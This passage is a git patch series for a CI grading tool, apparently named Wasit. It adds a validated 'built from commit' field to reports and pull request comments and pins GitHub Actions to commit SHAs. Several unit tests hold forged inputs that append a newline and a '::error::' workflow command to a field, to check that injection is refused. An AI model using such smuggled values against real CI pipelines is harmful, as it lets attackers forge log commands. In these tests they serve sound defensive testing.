"https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", - "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.20.0.tgz", + "integrity": "sha512-r8aOh8j9cGKpgQAqpzrUHnSIc6a59Y3Xf/cv8sy1DrHCkZHzQGEuoq1tARk6qSyDdtQGSDgpb9kFlruzPvrgwg==", "license": "MIT", "dependencies": { "follow-redirects": "^1.16.0", - "form-data": "^4.0.5", + "form-data": "^4.0.6", "https-proxy-agent": "^5.0.1", "proxy-from-env": "^2.1.0" } @@ -3773,9 +3726,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", - "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", + "version": "1.16.3", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.3.tgz", + "integrity": "sha512-toOSoqN6d51Wjf1aOFJYcoVv1aND9rj/CwjLU0Vz40oDuSpWDayCeKe4JpL5NL0WdFvoOOCI3BRo69HahjbR1A==", "funding": [ { "type": "individual", From 5c498cddf6f85190306f0ccb98485dcbfb7de9bf Mon Sep 17 00:00:00 2001 From: Muhammad Dzakwan Najmi Date: Sun, 15 Nov 2026 18:13:01 +0800 Subject: [PATCH 7/7] fix(core): name the commit a result was built from, and pin the action refs A pull request comment named "Wasit 0.7.0" for a build of an unreleased commit, because the packages still declare 0.7.0. The Action now passes its ref to the steps that run Wasit and write the report. When the ref is a full commit id, the result names it ("built from commit 0123456"); a tag or a branch name says nothing, since a pinned tag already names the version. The report parser accepts the new optional field only as seven lower-case hex characters, and so does the comment, whatever a report claims. The reason under "Not graded" starts with a capital letter, as it follows a full stop. actions/upload-artifact in action.yml, and checkout and setup-node in the template workflow, are pinned to full commit SHAs instead of version tags. --- action/action.yml | 7 +- action/examples/wasit.yml | 4 +- action/test/action-yaml.test.mjs | 36 +++++++++-- packages/cli/src/ci-report-command.ts | 3 +- packages/cli/src/run.ts | 3 +- .../cli/test/unit/ci-report-no-report.test.ts | 12 +++- packages/cli/test/unit/run.test.ts | 12 ++++ packages/core/src/baseline.ts | 11 +++- packages/core/src/ci-report.ts | 19 ++++-- packages/core/src/index.ts | 2 +- packages/core/src/versions.ts | 32 +++++++++- .../ci-report/regression-vs-baseline.md | 2 +- .../fixtures/ci-report/v1-only-no-baseline.md | 2 +- packages/core/test/unit/baseline.test.ts | 23 +++++++ packages/core/test/unit/ci-report.test.ts | 64 ++++++++++++++++++- packages/core/test/unit/versions.test.ts | 28 +++++++- 16 files changed, 235 insertions(+), 25 deletions(-) diff --git a/action/action.yml b/action/action.yml index a00f927..1f86d84 100644 --- a/action/action.yml +++ b/action/action.yml @@ -94,6 +94,7 @@ runs: INPUT_TIER: ${{ inputs.tier }} INPUT_ENDPOINTS: ${{ inputs.endpoints }} BASELINE_PATH: ${{ steps.baseline.outputs.path }} + WASIT_BUILD_COMMIT: ${{ github.action_ref }} run: node "$ACTION_PATH/scripts/wasit.mjs" run - name: Write the report @@ -102,6 +103,7 @@ runs: env: ACTION_PATH: ${{ github.action_path }} BASELINE_PATH: ${{ steps.baseline.outputs.path }} + WASIT_BUILD_COMMIT: ${{ github.action_ref }} run: node "$ACTION_PATH/scripts/wasit.mjs" report - name: Comment on the pull request @@ -113,11 +115,10 @@ runs: WASIT_COMMENT_FILE: ${{ runner.temp }}/wasit/comment.md run: node "$ACTION_PATH/scripts/comment.mjs" - # Pin to a commit SHA before release (not verified offline); a version tag - # is used here and no SHA is invented. + # Pinned to the commit of v4.6.2 (read from the GitHub API on 2026-11-15). - name: Upload the baseline if: ${{ always() && steps.run.conclusion != 'skipped' && github.event_name == 'push' && github.ref == format('refs/heads/{0}', github.event.repository.default_branch) }} - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: name: wasit-baseline path: ${{ runner.temp }}/wasit/baseline-next.json diff --git a/action/examples/wasit.yml b/action/examples/wasit.yml index 7c8c5f1..123f675 100644 --- a/action/examples/wasit.yml +++ b/action/examples/wasit.yml @@ -37,11 +37,11 @@ jobs: name: Wasit runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 with: persist-credentials: false - - uses: actions/setup-node@v4 + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: node-version: 22 diff --git a/action/test/action-yaml.test.mjs b/action/test/action-yaml.test.mjs index 22d4cd8..a658d93 100644 --- a/action/test/action-yaml.test.mjs +++ b/action/test/action-yaml.test.mjs @@ -200,8 +200,8 @@ describe("action.yml", () => { describe("third-party actions", () => { const used = steps.filter((step) => step.uses !== undefined).map((step) => step.uses); - it("uses only actions/upload-artifact, on a version tag", () => { - assert.deepEqual(used, ["actions/upload-artifact@v4"]); + it("uses only actions/upload-artifact, pinned to a full commit SHA", () => { + assert.deepEqual(used, ["actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02"]); }); it("never names a branch or an invented commit", () => { @@ -238,9 +238,9 @@ describe("the template workflow for builders", () => { it("checks out without keeping the token in .git/config, installs Node 22, then calls the Action", () => { const [job] = Object.values(workflow.jobs); const uses = job.steps.map((step) => step.uses); - assert.equal(uses[0], "actions/checkout@v4"); + assert.equal(uses[0], "actions/checkout@11d5960a326750d5838078e36cf38b85af677262"); assert.equal(job.steps[0].with["persist-credentials"], false); - assert.equal(uses[1], "actions/setup-node@v4"); + assert.equal(uses[1], "actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020"); assert.equal(String(job.steps[1].with["node-version"]), "22"); assert.match(uses[2], /^wasit-dev\/wasit\/action@/); }); @@ -260,3 +260,31 @@ describe("the template workflow for builders", () => { assert.match(text, /WASIT_HEADER_/); }); }); + +describe("pinned references and the build commit", () => { + const FULL_SHA = /^[^@\s]+\/[^@\s]+(?:\/[^@\s]+)?@[0-9a-f]{40}$/; + + it("pins every third-party action in action.yml to a full commit SHA, with the version it was read at in a comment", () => { + const text = read("action.yml"); + for (const step of steps.filter((candidate) => candidate.uses !== undefined)) { + assert.match(step.uses, FULL_SHA, step.uses); + } + assert.match(text, /uses: actions\/upload-artifact@[0-9a-f]{40} # v4\.6\.2/); + }); + + it("pins the checkout and setup-node of the template workflow to full commit SHAs too", () => { + const workflow = parse(read("examples/wasit.yml")); + const [job] = Object.values(workflow.jobs); + assert.match(job.steps[0].uses, FULL_SHA); + assert.match(job.steps[1].uses, FULL_SHA); + assert.match(read("examples/wasit.yml"), /# v4\.\d+\.\d+/); + }); + + it("gives the action ref to the steps that run Wasit and write the report, as the build commit, and to no other step", () => { + for (const name of ["Run Wasit", "Write the report"]) { + assert.equal(stepByName(name).env?.WASIT_BUILD_COMMIT, "${{ github.action_ref }}", name); + } + const others = steps.filter((step) => !["Run Wasit", "Write the report"].includes(step.name)); + for (const step of others) assert.ok(step.env?.WASIT_BUILD_COMMIT === undefined, `${step.name} does not get it`); + }); +}); diff --git a/packages/cli/src/ci-report-command.ts b/packages/cli/src/ci-report-command.ts index 87bee2d..1a36fc9 100644 --- a/packages/cli/src/ci-report-command.ts +++ b/packages/cli/src/ci-report-command.ts @@ -19,6 +19,7 @@ import { deniedEnvValues, parseRunReport, readBaseline, + readBuildCommit, readToolVersions, renderComment, renderNoReportComment, @@ -78,7 +79,7 @@ export async function executeCiReport(options: CiReportOptions, context: CiRepor const writeNoReport = (message: string, code: 0 | 2): number => { context.stderr(sanitizeText(message, { redact: secrets })); try { - const versions = readToolVersions(CLI_VERSION); + const versions = readToolVersions(CLI_VERSION, readBuildCommit(context.env)); writeFileSync(options.comment, renderNoReportComment(versions)); context.stdout(`Wrote ${options.comment}`); const summary = options.summary ?? context.env["GITHUB_STEP_SUMMARY"]; diff --git a/packages/cli/src/run.ts b/packages/cli/src/run.ts index 5fe3e2a..584f120 100644 --- a/packages/cli/src/run.ts +++ b/packages/cli/src/run.ts @@ -25,6 +25,7 @@ import { isLoopbackUrl, readBaseline, readConfigFile, + readBuildCommit, readToolVersions, redactReport, resolveRun, @@ -205,7 +206,7 @@ export async function executeRun(options: RunCommandOptions, context: RunContext environment: resolved.environment, network: resolved.network, startedAt, - versions: readToolVersions(CLI_VERSION), + versions: readToolVersions(CLI_VERSION, readBuildCommit(context.env)), endpoints, }; const preliminary = buildRunReport({ ...input, notes: [TIER_NOTE] }); diff --git a/packages/cli/test/unit/ci-report-no-report.test.ts b/packages/cli/test/unit/ci-report-no-report.test.ts index 23b2d31..ca181f5 100644 --- a/packages/cli/test/unit/ci-report-no-report.test.ts +++ b/packages/cli/test/unit/ci-report-no-report.test.ts @@ -28,7 +28,7 @@ describe("wasit ci-report without a usable report", () => { await rm(dir, { recursive: true, force: true }); }); - async function ciReport(options: Partial & { report: string }, name: string) { + async function ciReport(options: Partial & { report: string }, name: string, extraEnv: Record = {}) { const comment = path.join(dir, `${name}.comment.md`); const summary = path.join(dir, `${name}.summary.md`); const baselineOut = path.join(dir, `${name}.baseline.json`); @@ -36,7 +36,7 @@ describe("wasit ci-report without a usable report", () => { const err: string[] = []; const code = await executeCiReport( { comment, summary, baselineOut, ...options }, - { env: { PATH: process.env["PATH"] ?? "" }, stdout: (line) => out.push(line), stderr: (line) => err.push(line) }, + { env: { PATH: process.env["PATH"] ?? "", ...extraEnv }, stdout: (line) => out.push(line), stderr: (line) => err.push(line) }, ); return { code, stdout: out.join("\n"), stderr: err.join("\n"), comment, summary, baselineOut }; } @@ -61,6 +61,14 @@ describe("wasit ci-report without a usable report", () => { assert.match(comment, /Wasit \d+\.\d+\.\d+\S* \(core \d+\.\d+\.\d+\S*\), x402 v2, @x402\/core /); }); + it("names the commit an Action build came from, when the action ref is a full commit id", async () => { + const sha = "89abcdef0123456789abcdef0123456789abcdef"; + const named = await ciReport({ report: path.join(dir, "missing-3.report.json") }, "build", { WASIT_BUILD_COMMIT: sha }); + assert.match(await readFile(named.comment, "utf-8"), /\(core \d+\.\d+\.\d+\S*\), built from commit 89abcde, x402 v2/); + const tagged = await ciReport({ report: path.join(dir, "missing-4.report.json") }, "tag", { WASIT_BUILD_COMMIT: "v0.8.0-beta.1" }); + assert.ok(!/built from/.test(await readFile(tagged.comment, "utf-8")), "a tag is not a commit"); + }); + it("never writes a baseline: a run that graded nothing must not become the baseline of main", async () => { const result = await ciReport({ report: path.join(dir, "missing-3.report.json") }, "nobaseline"); assert.equal(existsSync(result.baselineOut), false); diff --git a/packages/cli/test/unit/run.test.ts b/packages/cli/test/unit/run.test.ts index b0a21df..ce1c960 100644 --- a/packages/cli/test/unit/run.test.ts +++ b/packages/cli/test/unit/run.test.ts @@ -108,6 +108,18 @@ describe("wasit run", () => { assert.match(report.sdk["@x402/core"], /^\d+\.\d+\.\d+/); }); + it("names the commit an Action build came from in the report, only when the action ref is a full commit id", async () => { + paywall = await startPaywall(); + const config = await writeConfig(dir, { baseUrl: paywall.base }); + const sha = "0123456789abcdef0123456789abcdef01234567"; + assert.equal((await run({ config, json: true }, { WASIT_BUILD_COMMIT: sha })).report().wasit.build, "0123456"); + for (const ref of ["v0.8.0-beta.1", "main", `${sha}\n::error::x`, ""]) { + const report = (await run({ config, json: true }, { WASIT_BUILD_COMMIT: ref })).report(); + assert.equal("build" in report.wasit, false, JSON.stringify(ref)); + } + assert.equal("build" in (await run({ config, json: true })).report().wasit, false, "no variable, no build"); + }); + it("sends the one unpaid request and nothing else: no payment header, no second request", async () => { paywall = await startPaywall(); const config = await writeConfig(dir, { baseUrl: paywall.base }); diff --git a/packages/core/src/baseline.ts b/packages/core/src/baseline.ts index 9e19494..8667b87 100644 --- a/packages/core/src/baseline.ts +++ b/packages/core/src/baseline.ts @@ -25,6 +25,7 @@ import { type RunReport, } from "./report.js"; import { sanitizeText } from "./sanitize.js"; +import { isShortCommit } from "./versions.js"; /** How many runs of the default branch the history keeps. */ export const HISTORY_LIMIT = 20; @@ -138,6 +139,10 @@ export function parseRunReport(value: unknown): RunReport { const wasit = record(root["wasit"], "wasit"); const sdk = record(root["sdk"], "sdk"); + const build = wasit["build"]; + if (build !== undefined && !isShortCommit(build)) { + throw new ReportFormatError("wasit.build", "must be seven lower-case hex characters"); + } if (sdk["x402Version"] !== 2) throw new ReportFormatError("sdk.x402Version", "must be 2"); const endpoints = list(root["endpoints"], "endpoints", MAX_ENDPOINTS).map((item, index) => @@ -153,7 +158,11 @@ export function parseRunReport(value: unknown): RunReport { return { schema: 1, - wasit: { cli: text(wasit["cli"], "wasit.cli", 40), core: text(wasit["core"], "wasit.core", 40) }, + wasit: { + cli: text(wasit["cli"], "wasit.cli", 40), + core: text(wasit["core"], "wasit.core", 40), + ...(build === undefined ? {} : { build }), + }, sdk: { x402Version: 2, "@x402/core": text(sdk["@x402/core"], "sdk.@x402/core", 40), diff --git a/packages/core/src/ci-report.ts b/packages/core/src/ci-report.ts index 6a14468..5e2bc76 100644 --- a/packages/core/src/ci-report.ts +++ b/packages/core/src/ci-report.ts @@ -21,7 +21,7 @@ import { import type { SkipKind } from "./check.js"; import { checkGroup, describeTotals, type CheckGroup, type EndpointReport, type RunReport } from "./report.js"; import { sanitizeForMarkdown } from "./sanitize.js"; -import type { ToolVersions } from "./versions.js"; +import { isShortCommit, type ToolVersions } from "./versions.js"; import { runExitCode } from "./verdict.js"; /** The comment that starts with this is the one Wasit updates. */ @@ -78,6 +78,17 @@ function version(value: string): string { return VERSION.test(value) ? value : "unknown"; } +/** "Wasit 0.7.0 (core 0.7.0)", and ", built from commit 0123456" when an Action build names its commit. */ +function wasitText(wasit: ToolVersions["wasit"]): string { + const build = isShortCommit(wasit.build) ? `, built from commit ${wasit.build}` : ""; + return `Wasit ${version(wasit.cli)} (core ${version(wasit.core)})${build}`; +} + +/** The reason follows "unsupported." in the list, so it starts a sentence. */ +function upperFirst(text: string): string { + return text.charAt(0).toUpperCase() + text.slice(1); +} + /** "challenge 5/5", or "payment not run: read-only tier" when the whole group was skipped for one reason. */ function groupText(endpoint: EndpointReport, group: CheckGroup): string | undefined { const results = endpoint.results.filter((result) => checkGroup(result.id, endpoint.protocol) === group); @@ -126,7 +137,7 @@ function renderBody(input: CiReportInput): string { const sdk = report.sdk; const out: string[] = [ `**Wasit: ${word}.** ${describeTotals(report.totals)} on ${md(report.environment)}, ${md(report.network)}. ` + - `Wasit ${version(report.wasit.cli)} (core ${version(report.wasit.core)}), x402 v2, ` + + `${wasitText(report.wasit)}, x402 v2, ` + `@x402/core ${version(sdk["@x402/core"])}, @x402/stellar ${version(sdk["@x402/stellar"])}, ` + `@stellar/mpp ${version(sdk["@stellar/mpp"])}, mppx ${version(sdk.mppx)}, ` + `@stellar/stellar-sdk ${version(sdk["@stellar/stellar-sdk"])}.`, @@ -143,7 +154,7 @@ function renderBody(input: CiReportInput): string { ); if (notGraded.length > 0) { out.push("", "### Not graded"); - for (const endpoint of notGraded) out.push(`- **${md(endpoint.name)}**: ${endpoint.outcome}. ${md(endpoint.reason ?? "")}`); + for (const endpoint of notGraded) out.push(`- **${md(endpoint.name)}**: ${endpoint.outcome}. ${md(upperFirst(endpoint.reason ?? ""))}`); } out.push("", "### Changed since main"); @@ -246,7 +257,7 @@ function renderNoReportBody(versions: ToolVersions): string { const sdk = versions.sdk; return [ "**Wasit: no verdict.** The run ended before it wrote a report, so nothing was graded. " + - `Wasit ${version(versions.wasit.cli)} (core ${version(versions.wasit.core)}), x402 v2, ` + + `${wasitText(versions.wasit)}, x402 v2, ` + `@x402/core ${version(sdk["@x402/core"])}, @x402/stellar ${version(sdk["@x402/stellar"])}, ` + `@stellar/mpp ${version(sdk["@stellar/mpp"])}, mppx ${version(sdk.mppx)}, ` + `@stellar/stellar-sdk ${version(sdk["@stellar/stellar-sdk"])}.`, diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 51215c0..259be58 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -81,7 +81,7 @@ export type { RunReportInput, RunTotals, } from "./report.js"; -export { readPackageVersion, readToolVersions } from "./versions.js"; +export { readBuildCommit, readPackageVersion, readToolVersions } from "./versions.js"; export type { ToolVersions } from "./versions.js"; // The baseline of the default branch, the diff against it, and the exit rule of a run. diff --git a/packages/core/src/versions.ts b/packages/core/src/versions.ts index 3a3c2a8..8d74d79 100644 --- a/packages/core/src/versions.ts +++ b/packages/core/src/versions.ts @@ -65,8 +65,35 @@ function ownVersion(): string { } } +/** A commit id as an Action ref gives it: all 40 characters, lower case. Anything else (a tag, a branch) is not a commit. */ +const FULL_COMMIT = /^[0-9a-f]{40}$/; + +/** What a result names of a commit: its first seven characters. */ +const SHORT_COMMIT = /^[0-9a-f]{7}$/; + +/** True for exactly seven lower-case hex characters: the only build text that reaches a comment. */ +export function isShortCommit(value: unknown): value is string { + return typeof value === "string" && SHORT_COMMIT.test(value); +} + +/** + * The commit this build of Wasit was made from, when the Action says so: the + * action ref (`WASIT_BUILD_COMMIT`) if it is a full commit id. A tag or a branch + * name is not a commit, and says nothing here: a pinned tag already names the + * version, and a result must not name a build it cannot show. + */ +export function readBuildCommit(env: Readonly>): string | undefined { + const value = env["WASIT_BUILD_COMMIT"]; + return value !== undefined && FULL_COMMIT.test(value) ? value.slice(0, 7) : undefined; +} + export interface ToolVersions { - readonly wasit: { readonly cli: string; readonly core: string }; + readonly wasit: { + readonly cli: string; + readonly core: string; + /** The first seven characters of the commit an Action build came from. Absent for an installed package. */ + readonly build?: string; + }; readonly sdk: { /** The x402 version Wasit grades. */ readonly x402Version: 2; @@ -82,7 +109,7 @@ export interface ToolVersions { * The versions of this run. The CLI knows its own version (core cannot read the * CLI's `package.json`), so it passes it in. */ -export function readToolVersions(cliVersion?: string): ToolVersions { +export function readToolVersions(cliVersion?: string, build?: string): ToolVersions { const here = dirname(fileURLToPath(import.meta.url)); // `@x402/core` is a dependency of `@x402/fetch`; when npm does not hoist it, it sits under that package. const fetchDir = (() => { @@ -104,6 +131,7 @@ export function readToolVersions(cliVersion?: string): ToolVersions { wasit: { cli: cliVersion !== undefined && VERSION.test(cliVersion) ? cliVersion : UNKNOWN, core: ownVersion(), + ...(isShortCommit(build) ? { build } : {}), }, sdk: { x402Version: 2, diff --git a/packages/core/test/fixtures/ci-report/regression-vs-baseline.md b/packages/core/test/fixtures/ci-report/regression-vs-baseline.md index 75af379..44764f4 100644 --- a/packages/core/test/fixtures/ci-report/regression-vs-baseline.md +++ b/packages/core/test/fixtures/ci-report/regression-vs-baseline.md @@ -7,7 +7,7 @@ | summarize | x402 | unsupported | challenge 1/5, 4 skipped; payment not run: read-only tier | ### Not graded -- **summarize**: unsupported. the service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header. +- **summarize**: unsupported. The service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header. ### Changed since main - Regression: summarize was conformant on main and is now unsupported. diff --git a/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md b/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md index fb275f5..91771da 100644 --- a/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md +++ b/packages/core/test/fixtures/ci-report/v1-only-no-baseline.md @@ -6,7 +6,7 @@ | old | x402 | unsupported | challenge 1/5, 4 skipped; payment not run: read-only tier | ### Not graded -- **old**: unsupported. the service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header. +- **old**: unsupported. The service sent an x402 v1 challenge in its response body. To have it graded, move to x402 v2: send the challenge base64-encoded in a PAYMENT-REQUIRED response header. ### Changed since main No baseline on main yet, so nothing is compared. The next run on main creates it. diff --git a/packages/core/test/unit/baseline.test.ts b/packages/core/test/unit/baseline.test.ts index c8d1a04..2ecf5ae 100644 --- a/packages/core/test/unit/baseline.test.ts +++ b/packages/core/test/unit/baseline.test.ts @@ -69,6 +69,29 @@ describe("parseRunReport", () => { assert.deepEqual(parsed, original); }); + it("keeps the build a report names, and refuses one that is not seven lower-case hex characters", () => { + const original = buildRunReport({ + environment: "local", + network: "stellar:testnet", + startedAt: "2026-11-15T10:00:00.000Z", + versions: readToolVersions("0.7.0", "0123456"), + endpoints: [endpoint("weather", conformant())], + notes: [], + }); + const parsed = parseRunReport(JSON.parse(JSON.stringify(original))); + assert.equal(parsed.wasit.build, "0123456"); + for (const bad of ["main", "ABCDEF0", "0123456789", "012345\n::error::x", 7]) { + const forged = JSON.parse(JSON.stringify(original)); + forged.wasit.build = bad; + assert.throws(() => parseRunReport(forged), ReportFormatError, JSON.stringify(bad)); + } + }); + + it("reads an older report that names no build", () => { + const parsed = parseRunReport(JSON.parse(JSON.stringify(report([endpoint("weather", conformant())])))); + assert.equal("build" in parsed.wasit, false); + }); + it("keeps expected and actual on a FAIL, sanitised and cut, and adds none where there were none", () => { const withValues: CheckResult = { ...fail("X402-01"), expected: "status 402", actual: "status 200" }; const original = report([endpoint("weather", [withValues, pass("X402-02")])]); diff --git a/packages/core/test/unit/ci-report.test.ts b/packages/core/test/unit/ci-report.test.ts index 69b4edf..aa8f5be 100644 --- a/packages/core/test/unit/ci-report.test.ts +++ b/packages/core/test/unit/ci-report.test.ts @@ -17,7 +17,7 @@ import { fileURLToPath } from "node:url"; import { describe, it } from "node:test"; import { type Baseline, updateHistory } from "../../src/baseline.js"; -import { COMMENT_MARKER, renderComment, renderSummary } from "../../src/ci-report.js"; +import { COMMENT_MARKER, renderComment, renderNoReportComment, renderSummary } from "../../src/ci-report.js"; import { catalogueEntry } from "../../src/catalogue.js"; import { type CheckResult, errored, skipped } from "../../src/check.js"; import { ConfigurationError } from "../../src/errors.js"; @@ -275,6 +275,68 @@ describe("the shape of a comment", () => { }); }); +describe("the version line", () => { + const withBuild: ToolVersions = { ...VERSIONS, wasit: { ...VERSIONS.wasit, build: "0123456" } }; + + function reportWith(versions: ToolVersions): RunReport { + return buildRunReport({ + environment: "local", + network: "stellar:testnet", + startedAt: "2026-11-15T10:00:00.000Z", + versions, + endpoints: [endpoint("weather", conformant())], + notes: [], + }); + } + + it("names the commit an Action build came from, so a build of a branch does not pass for a release", () => { + const [, second] = lines(renderComment({ report: reportWith(withBuild) })); + assert.match(second ?? "", /Wasit 0\.7\.0 \(core 0\.7\.0\), built from commit 0123456, x402 v2/); + }); + + it("says nothing about a build when the report names none", () => { + const [, second] = lines(renderComment({ report: reportWith(VERSIONS) })); + assert.ok(!/built from/.test(second ?? "")); + }); + + it("does the same in the comment for a run that left no report", () => { + assert.match(renderNoReportComment(withBuild), /Wasit 0\.7\.0 \(core 0\.7\.0\), built from commit 0123456, x402 v2/); + assert.ok(!/built from/.test(renderNoReportComment(VERSIONS))); + }); + + it("prints a build only if it is seven lower-case hex characters, whatever the report says", () => { + const forged = reportWith(withBuild); + for (const bad of ["main", "0123456\n::error::x", "x", "ABCDEF0"]) { + const comment = renderComment({ report: { ...forged, wasit: { ...forged.wasit, build: bad } } }); + const [, versionLine] = lines(comment); + assert.ok(!/built from/.test(comment), JSON.stringify(bad)); + assert.ok(!(versionLine ?? "").includes(bad), JSON.stringify(bad)); + assert.ok(!lines(comment).some((line) => line.includes("::error::")), JSON.stringify(bad)); + } + }); +}); + +describe("the reason under Not graded", () => { + it("starts a sentence with a capital after the outcome, not in lower case after a full stop", () => { + const comment = renderComment({ report: report([endpoint("old", v1())]) }); + const line = lines(comment).find((l) => l.startsWith("- **old**:")) ?? ""; + assert.match(line, /^- \*\*old\*\*: unsupported\. [A-Z]/); + assert.ok(!/(unsupported|no-verdict)\. [a-z]/.test(comment)); + }); + + it("keeps a reason that already starts with a capital, or with a digit or quote, as it is", () => { + const text = (reason: string): string => + renderComment({ + report: { + ...report([endpoint("old", v1())]), + endpoints: [{ ...report([endpoint("old", v1())]).endpoints[0]!, reason }], + }, + }); + assert.match(text("The route redirects."), /unsupported\. The route redirects\./); + assert.match(text("402 was expected."), /unsupported\. 402 was expected\./); + }); +}); + describe("the job summary", () => { it("is the comment without the marker", () => { const input = { report: report([endpoint("weather", conformant())]) }; diff --git a/packages/core/test/unit/versions.test.ts b/packages/core/test/unit/versions.test.ts index af206d5..0161b34 100644 --- a/packages/core/test/unit/versions.test.ts +++ b/packages/core/test/unit/versions.test.ts @@ -14,7 +14,7 @@ import { dirname, join } from "node:path"; import { fileURLToPath } from "node:url"; import { describe, it } from "node:test"; -import { readPackageVersion, readToolVersions } from "../../src/versions.js"; +import { readBuildCommit, readPackageVersion, readToolVersions } from "../../src/versions.js"; const here = dirname(fileURLToPath(import.meta.url)); const coreManifest = JSON.parse(readFileSync(join(here, "../../package.json"), "utf-8")) as { version: string }; @@ -88,3 +88,29 @@ describe("readToolVersions", () => { assert.equal(readToolVersions("1.0.0\n::error::x").wasit.cli, "unknown"); }); }); + +describe("readBuildCommit", () => { + const sha = "0123456789abcdef0123456789abcdef01234567"; + + it("gives the first seven characters of a full lower-case commit id", () => { + assert.equal(readBuildCommit({ WASIT_BUILD_COMMIT: sha }), "0123456"); + }); + + it("gives nothing for a tag, a branch, a short or upper-case id, a value with a newline, or no value", () => { + for (const value of ["v0.8.0-beta.1", "main", sha.slice(0, 12), sha.toUpperCase(), `${sha}\n::error::x`, `${sha}0`, ""]) { + assert.equal(readBuildCommit({ WASIT_BUILD_COMMIT: value }), undefined, JSON.stringify(value)); + } + assert.equal(readBuildCommit({ WASIT_BUILD_COMMIT: undefined }), undefined); + assert.equal(readBuildCommit({}), undefined); + }); +}); + +describe("readToolVersions with a build", () => { + it("names the build only when it is seven lower-case hex characters", () => { + assert.equal(readToolVersions("0.7.0", "0123456").wasit.build, "0123456"); + for (const bad of ["0123456789", "ABCDEF0", "main", "012345\n", ""]) { + assert.equal("build" in readToolVersions("0.7.0", bad).wasit, false, JSON.stringify(bad)); + } + assert.equal("build" in readToolVersions("0.7.0").wasit, false, "no build given, none named"); + }); +});